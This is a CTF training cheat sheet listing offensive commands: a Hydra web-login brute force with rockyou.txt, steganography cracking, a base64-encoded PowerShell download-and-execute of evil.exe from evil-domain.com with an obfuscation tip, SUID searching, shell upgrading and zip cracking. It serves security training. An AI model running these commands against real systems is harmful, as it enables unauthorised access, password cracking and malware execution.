CTF Training and Resources

CTF Training and Resources
Step 1: Try Harder

Contents

Cheat Sheets
Tools
Training
Commands


Cheat Sheets

Tools

Training

Commands

  • Use Hydra to brute-force web page login
    • Command: sudo hydra -l <username> -P <password list> <IP> http-post-form "/<login page>:username=^USER^&password=^PASS^:<Invalid Login Message>"
    • Use -L <username list> to use a list instead of a single username
    • The parameters may need to be adjusted to the request the webpage is expecting, i.e. another common parameter used may look something like login=true
    • Example: sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/login.php:username=^USER^&password=^PASS^&login=true:Invalid Username or Password"
  • Steghide/Stegcracker
    • Use Steghide to embed a text file inside an image: steghide embed -cf <image file> -ef <text file>
    • Use Steghide to extract message from an image: steghide extract -sf <image file>
    • Use Stegcracker to brute force crack a password protected file hidden in image file: stegcracker <image file> <wordlist>
  • Powershell execute encoded commands:
    • Run on Windows machine that is not the target:
      $command = '<your command>' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) echo $encodedCommand
    • Run on target machine:
      powershell.exe -encodedCommand '<value of $encodedCommand>'
    • Example:
    powershell.exe -encodedCommand 'dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAtAGQAbwBtAGEAaQBuAC4AYwBvAG0ALwBlAHYAaQBsAC4AZQB4AGUAOwAgAHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIABlAHYAaQBsAC4AZQB4AGUA'
    
    • The command above decodes to `wget http://evil-domain.com/evil.exe; start-process evil.exe' which pulls an executable from an evil domain hosting the file then executes it.
    • Tip: To further obfuscate the execution use shortened versions of the argument such as -enco instead of -encodedCommand.
  • Useful Linux Commands
    • Find SUID Bits: find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
    • TTY shell
      python 3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm Ctrl + z stty raw -echo;fg
    • chattr +i /root/king.txt #make file immutable
    • sudo -l
    • fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt /path/to/file
    • Start a Python WebServer for quick file sharing
      • Python 2: python2 -m SimpleHTTPServer <port>
      • Python 3: python3 -m http.server <port>
      • With either, use curl or wget to grab files
        • curl http://<hosting ip>:<port>/file > output
        • wget http://<hosting ip>:<port>/file > output